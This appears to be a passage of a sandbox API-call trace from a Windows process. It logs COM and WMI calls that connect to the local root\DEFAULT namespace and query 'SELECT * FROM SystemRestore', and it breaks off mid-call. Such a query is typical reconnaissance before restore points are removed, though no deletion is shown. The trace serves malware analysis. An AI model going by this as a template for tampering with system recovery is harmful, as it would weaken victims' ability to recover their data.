rclsid=0x1b2eb4c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d7dd418 | out: ppv=0x1d7dd418*=0x1d2fa5c0) returned 0x0 [0174.144] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2fa5c0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d7dd500 | out: ppvObject=0x1d7dd500*=0x0) returned 0x80004002 [0174.144] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d2fa5c0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d7dd4d8 | out: ppvObject=0x1d7dd4d8*=0x1d2fa3e0) returned 0x0 [0174.144] WbemLocator:IUnknown:Release (This=0x1d2fa5c0) returned 0x0 [0174.144] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2fa3e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d7dd280 | out: ppvObject=0x1d7dd280*=0x1d2fa3e0) returned 0x0 [0174.144] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2fa3e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d7dd310 | out: ppvObject=0x1d7dd310*=0x0) returned 0x80004002 [0174.144] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2fa3e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d7dcb08 | out: ppvObject=0x1d7dcb08*=0x0) returned 0x80004002 [0174.145] WbemLocator:IUnknown:AddRef (This=0x1d2fa3e0) returned 0x3 [0174.145] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2fa3e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d7dc9c8 | out: ppvObject=0x1d7dc9c8*=0x0) returned 0x80004002 [0174.145] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2fa3e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d7dc950 | out: ppvObject=0x1d7dc950*=0x0) returned 0x80004002 [0174.145] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2fa3e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d7dc940 | out: ppvObject=0x1d7dc940*=0x0) returned 0x80004002 [0174.145] CoGetContextToken (in: pToken=0x1d7dc9f0 | out: pToken=0x1d7dc9f0) returned 0x0 [0174.145] CoGetObjectContext (in: riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2edc68 | out: ppv=0x1d2edc68*=0x4b00f0) returned 0x0 [0174.145] CoGetContextToken (in: pToken=0x1d7dce70 | out: pToken=0x1d7dce70) returned 0x0 [0174.145] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2fa3e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d7dcf30 | out: ppvObject=0x1d7dcf30*=0x0) returned 0x80004002 [0174.145] WbemLocator:IUnknown:Release (This=0x1d2fa3e0) returned 0x2 [0174.145] WbemLocator:IUnknown:Release (This=0x1d2fa3e0) returned 0x1 [0174.145] CoGetContextToken (in: pToken=0x1d7dd8b0 | out: pToken=0x1d7dd8b0) returned 0x0 [0174.145] CoGetContextToken (in: pToken=0x1d7dd7b0 | out: pToken=0x1d7dd7b0) returned 0x0 [0174.146] WbemLocator:IUnknown:QueryInterface (in: This=0x1d2fa3e0, riid=0x1d7dd910*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d7dd8e0 | out: ppvObject=0x1d7dd8e0*=0x1d2fa3e0) returned 0x0 [0174.146] WbemLocator:IUnknown:AddRef (This=0x1d2fa3e0) returned 0x3 [0174.146] WbemLocator:IUnknown:Release (This=0x1d2fa3e0) returned 0x2 [0174.146] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f10d0, puCount=0x1d7ddce8 | out: puCount=0x1d7ddce8*=0x2) returned 0x0 [0174.146] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f10d0, lFlags=8, puBuffLength=0x1d7ddce0*=0x0, pszText=0x0 | out: puBuffLength=0x1d7ddce0*=0x11, pszText=0x0) returned 0x0 [0174.146] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f10d0, lFlags=8, puBuffLength=0x1d7ddce0*=0x11, pszText="0000000000000000" | out: puBuffLength=0x1d7ddce0*=0x11, pszText="\\\\.\\root\\DEFAULT") returned 0x0 [0174.146] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1d7dda30 | out: ppv=0x1d7dda30*=0x1d2fa640) returned 0x0 [0174.146] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d2fa640, strNetworkResource="\\\\.\\root\\DEFAULT", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1d7ddba8 | out: ppNamespace=0x1d7ddba8*=0x1b340c50) returned 0x0 [0176.996] WbemLocator:IUnknown:QueryInterface (in: This=0x1b340c50, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d7dd8a8 | out: ppvObject=0x1d7dd8a8*=0x1b351d00) returned 0x0 [0176.996] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b351d00, pProxy=0x1b340c50, pAuthnSvc=0x1d7dd970, pAuthzSvc=0x1d7dd8f0, pServerPrincName=0x1d7dd918, pAuthnLevel=0x1d7dd8f4, pImpLevel=0x1d7dd900, pAuthInfo=0x1d7dd928, pCapabilites=0x1d7dd904 | out: pAuthnSvc=0x1d7dd970*=0xa, pAuthzSvc=0x1d7dd8f0*=0x0, pServerPrincName=0x1d7dd918, pAuthnLevel=0x1d7dd8f4*=0x6, pImpLevel=0x1d7dd900*=0x2, pAuthInfo=0x1d7dd928, pCapabilites=0x1d7dd904*=0x1) returned 0x0 [0176.996] WbemLocator:IUnknown:Release (This=0x1b351d00) returned 0x1 [0176.996] WbemLocator:IUnknown:QueryInterface (in: This=0x1b340c50, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d7dd840 | out: ppvObject=0x1d7dd840*=0x1b351d48) returned 0x0 [0176.996] WbemLocator:IUnknown:QueryInterface (in: This=0x1b340c50, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d7dd850 | out: ppvObject=0x1d7dd850*=0x1b351d00) returned 0x0 [0176.996] WbemLocator:IClientSecurity:SetBlanket (This=0x1b351d00, pProxy=0x1b340c50, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0176.996] WbemLocator:IUnknown:Release (This=0x1b351d00) returned 0x2 [0176.996] WbemLocator:IUnknown:Release (This=0x1b351d48) returned 0x1 [0176.996] CoTaskMemFree (pv=0x1b33efa0) [0176.997] WbemLocator:IUnknown:Release (This=0x1d2fa640) returned 0x0 [0176.997] WbemLocator:IUnknown:QueryInterface (in: This=0x1b340c50, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d7dd340 | out: ppvObject=0x1d7dd340*=0x1b351d48) returned 0x0 [0176.997] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351d48, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d7dd3d0 | out: ppvObject=0x1d7dd3d0*=0x0) returned 0x80004002 [0177.340] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351d48, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d7dcff0 | out: ppvObject=0x1d7dcff0*=0x0) returned 0x80004002 [0177.631] WbemLocator:IUnknown:QueryInterface (in: This=0x1b340c50, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d7dcbc8 | out: ppvObject=0x1d7dcbc8*=0x0) returned 0x80004002 [0177.922] WbemLocator:IUnknown:AddRef (This=0x1b351d48) returned 0x3 [0177.922] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351d48, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d7dca88 | out: ppvObject=0x1d7dca88*=0x0) returned 0x80004002 [0177.922] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351d48, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d7dca10 | out: ppvObject=0x1d7dca10*=0x0) returned 0x80004002 [0177.922] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351d48, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d7dca00 | out: ppvObject=0x1d7dca00*=0x1b351c28) returned 0x0 [0177.923] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351c28, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d7dca28 | out: pCid=0x1d7dca28*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0177.923] WbemLocator:IUnknown:Release (This=0x1b351c28) returned 0x3 [0177.923] CoGetContextToken (in: pToken=0x1d7dcab0 | out: pToken=0x1d7dcab0) returned 0x0 [0177.923] CoGetObjectContext (in: riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b33f2d8 | out: ppv=0x1b33f2d8*=0x4b00f0) returned 0x0 [0177.923] CoGetContextToken (in: pToken=0x1d7dcf30 | out: pToken=0x1d7dcf30) returned 0x0 [0177.923] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351d48, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d7dcff0 | out: ppvObject=0x1d7dcff0*=0x1b351d10) returned 0x0 [0177.923] WbemLocator:IRpcOptions:Query (in: This=0x1b351d10, pPrx=0x1b351d48, dwProperty=2, pdwValue=0x1d7dcfe0 | out: pdwValue=0x1d7dcfe0) returned 0x80004002 [0177.923] WbemLocator:IUnknown:Release (This=0x1b351d10) returned 0x3 [0177.923] WbemLocator:IUnknown:Release (This=0x1b351d48) returned 0x2 [0177.923] CoGetContextToken (in: pToken=0x1d7dd5f0 | out: pToken=0x1d7dd5f0) returned 0x0 [0177.923] CoGetContextToken (in: pToken=0x1d7dd4f0 | out: pToken=0x1d7dd4f0) returned 0x0 [0177.923] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351d48, riid=0x1d7dd650*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1d7dd620 | out: ppvObject=0x1d7dd620*=0x1b340c50) returned 0x0 [0177.923] WbemLocator:IUnknown:AddRef (This=0x1b340c50) returned 0x4 [0177.923] WbemLocator:IUnknown:Release (This=0x1b340c50) returned 0x3 [0177.923] WbemLocator:IUnknown:Release (This=0x1b340c50) returned 0x2 [0177.924] SysStringLen (param_1=0x0) returned 0x0 [0177.924] CoGetContextToken (in: pToken=0x1d7dd720 | out: pToken=0x1d7dd720) returned 0x0 [0177.924] WbemLocator:IUnknown:AddRef (This=0x1b351d48) returned 0x3 [0177.924] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351d48, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d7dd720 | out: ppvObject=0x1d7dd720*=0x1b351d48) returned 0x0 [0177.924] WbemLocator:IUnknown:Release (This=0x1b351d48) returned 0x3 [0177.924] WbemLocator:IUnknown:Release (This=0x1b351d48) returned 0x2 [0177.924] CoGetContextToken (in: pToken=0x1d7dd860 | out: pToken=0x1d7dd860) returned 0x0 [0177.924] WbemLocator:IUnknown:AddRef (This=0x1b340c50) returned 0x3 [0177.924] IWbemServices:ExecQuery (in: This=0x1b340c50, strQueryLanguage="WQL", strQuery="SELECT * FROM SystemRestore", lFlags=16, pCtx=0x0, ppEnum=0x1d7ddcf8 | out: ppEnum=0x1d7ddcf8*=0x1b3bcdf0) returned 0x0 [0178.153] IUnknown:QueryInterface (in: This=0x1b3bcdf0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d7dd9d8 | out: ppvObject=0x1d7dd9d8*=0x1b3bcdf8) returned 0x0 [0178.153] IClientSecurity:QueryBlanket (in: This=0x1b3bcdf8, pProxy=0x1b3bcdf0, pAuthnSvc=0x1d7ddaa0, pAuthzSvc=0x1d7dda20, pServerPrincName=0x1d7dda48, pAuthnLevel=0x1d7dda24, pImpLevel=0x1d7dda30, pAuthInfo=0x1d7dda58, pCapabilites=0x1d7dda34 | out: pAuthnSvc=0x1d7ddaa0*=0xa, pAuthzSvc=0x1d7dda20*=0x0, pServerPrincName=0x1d7dda48, pAuthnLevel=0x1d7dda24*=0x6, pImpLevel=0x1d7dda30*=0x2, pAuthInfo=0x1d7dda58, pCapabilites=0x1d7dda34*=0x1) returned 0x0 [0178.153] IUnknown:Release (This=0x1b3bcdf8) returned 0x1 [0178.153] IUnknown:QueryInterface (in: This=0x1b3bcdf0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d7dd970 | out: ppvObject=0x1d7dd970*=0x1b351048) returned 0x0 [0178.153] IUnknown:QueryInterface (in: This=0x1b3bcdf0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d7dd980 | out: ppvObject=0x1d7dd980*=0x1b3bcdf8) returned 0x0 [0178.153] IClientSecurity:SetBlanket (This=0x1b3bcdf8, pProxy=0x1b3bcdf0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0178.716] IUnknown:Release (This=0x1b3bcdf8) returned 0x2 [0178.716] WbemLocator:IUnknown:Release (This=0x1b351048) returned 0x1 [0178.716] CoTaskMemFree (pv=0x1b33eca0) [0178.716] IUnknown:QueryInterface (in: This=0x1b3bcdf0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d7dd440 | out: ppvObject=0x1d7dd440*=0x1b351048) returned 0x0 [0178.717] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d7dd4d0 | out: ppvObject=0x1d7dd4d0*=0x0) returned 0x80004002 [0179.126] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d7dd0f0 | out: ppvObject=0x1d7dd0f0*=0x0) returned 0x80004002 [0179.342] IUnknown:QueryInterface (in: This=0x1b3bcdf0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d7dccc8 | out: ppvObject=0x1d7dccc8*=0x0) returned 0x80004002 [0179.591] WbemLocator:IUnknown:AddRef (This=0x1b351048) returned 0x3 [0179.591] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d7dcb88 | out: ppvObject=0x1d7dcb88*=0x0) returned 0x80004002 [0179.591] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d7dcb10 | out: ppvObject=0x1d7dcb10*=0x0) returned 0x80004002 [0179.591] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d7dcb00 | out: ppvObject=0x1d7dcb00*=0x1b350f28) returned 0x0 [0179.591] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b350f28, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d7dcb28 | out: pCid=0x1d7dcb28*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0179.591] WbemLocator:IUnknown:Release (This=0x1b350f28) returned 0x3 [0179.591] CoGetContextToken (in: pToken=0x1d7dcbb0 | out: pToken=0x1d7dcbb0) returned 0x0 [0179.591] CoGetContextToken (in: pToken=0x1d7dd030 | out: pToken=0x1d7dd030) returned 0x0 [0179.591] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d7dd0f0 | out: ppvObject=0x1d7dd0f0*=0x1b351010) returned 0x0 [0179.591] WbemLocator:IRpcOptions:Query (in: This=0x1b351010, pPrx=0x1b351048, dwProperty=2, pdwValue=0x1d7dd0e0 | out: pdwValue=0x1d7dd0e0) returned 0x80004002 [0179.591] WbemLocator:IUnknown:Release (This=0x1b351010) returned 0x3 [0179.591] WbemLocator:IUnknown:Release (This=0x1b351048) returned 0x2 [0179.591] CoGetContextToken (in: pToken=0x1d7dd6f0 | out: pToken=0x1d7dd6f0) returned 0x0 [0179.591] CoGetContextToken (in: pToken=0x1d7dd5f0 | out: pToken=0x1d7dd5f0) returned 0x0 [0179.591] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351048, riid=0x1d7dd750*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d7dd720 | out: ppvObject=0x1d7dd720*=0x1b3bcdf0) returned 0x0 [0179.592] IUnknown:AddRef (This=0x1b3bcdf0) returned 0x4 [0179.592] IUnknown:Release (This=0x1b3bcdf0) returned 0x3 [0179.592] IUnknown:Release (This=0x1b3bcdf0) returned 0x2 [0179.592] WbemLocator:IUnknown:Release (This=0x1b340c50) returned 0x2 [0179.592] SysStringLen (param_1=0x0) returned 0x0 [0179.592] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f10d0, puCount=0x1d7ddd38 | out: puCount=0x1d7ddd38*=0x2) returned 0x0 [0179.592] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f10d0, lFlags=4, puBuffLength=0x1d7ddd30*=0x0, pszText=0x0 | out: puBuffLength=0x1d7ddd30*=0x11, pszText=0x0) returned 0x0 [0179.592] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f10d0, lFlags=4, puBuffLength=0x1d7ddd30*=0x11, pszText="0000000000000000" | out: puBuffLength=0x1d7ddd30*=0x11, pszText="\\\\.\\root\\DEFAULT") returned 0x0 [0179.592] CoGetContextToken (in: pToken=0x1d7dd980 | out: pToken=0x1d7dd980) returned 0x0 [0179.592] IUnknown:AddRef (This=0x1b3bcdf0) returned 0x3 [0179.592] IEnumWbemClassObject:Clone (in: This=0x1b3bcdf0, ppEnum=0x1d7ddd80 | out: ppEnum=0x1d7ddd80*=0x1b3bd1e0) returned 0x0 [0179.809] IUnknown:QueryInterface (in: This=0x1b3bd1e0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d7ddb08 | out: ppvObject=0x1d7ddb08*=0x1b3bd1e8) returned 0x0 [0179.809] IClientSecurity:QueryBlanket (in: This=0x1b3bd1e8, pProxy=0x1b3bd1e0, pAuthnSvc=0x1d7ddbd0, pAuthzSvc=0x1d7ddb50, pServerPrincName=0x1d7ddb78, pAuthnLevel=0x1d7ddb54, pImpLevel=0x1d7ddb60, pAuthInfo=0x1d7ddb88, pCapabilites=0x1d7ddb64 | out: pAuthnSvc=0x1d7ddbd0*=0xa, pAuthzSvc=0x1d7ddb50*=0x0, pServerPrincName=0x1d7ddb78, pAuthnLevel=0x1d7ddb54*=0x6, pImpLevel=0x1d7ddb60*=0x2, pAuthInfo=0x1d7ddb88, pCapabilites=0x1d7ddb64*=0x1) returned 0x0 [0179.809] IUnknown:Release (This=0x1b3bd1e8) returned 0x1 [0179.809] IUnknown:QueryInterface (in: This=0x1b3bd1e0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d7ddaa0 | out: ppvObject=0x1d7ddaa0*=0x1b3516c8) returned 0x0 [0179.809] IUnknown:QueryInterface (in: This=0x1b3bd1e0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d7ddab0 | out: ppvObject=0x1d7ddab0*=0x1b3bd1e8) returned 0x0 [0179.809] IClientSecurity:SetBlanket (This=0x1b3bd1e8, pProxy=0x1b3bd1e0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0180.465] IUnknown:Release (This=0x1b3bd1e8) returned 0x2 [0180.465] WbemLocator:IUnknown:Release (This=0x1b3516c8) returned 0x1 [0180.465] CoTaskMemFree (pv=0x1b33fcf0) [0180.466] IUnknown:QueryInterface (in: This=0x1b3bd1e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d7dd560 | out: ppvObject=0x1d7dd560*=0x1b3516c8) returned 0x0 [0180.466] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d7dd5f0 | out: ppvObject=0x1d7dd5f0*=0x0) returned 0x80004002 [0180.748] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, 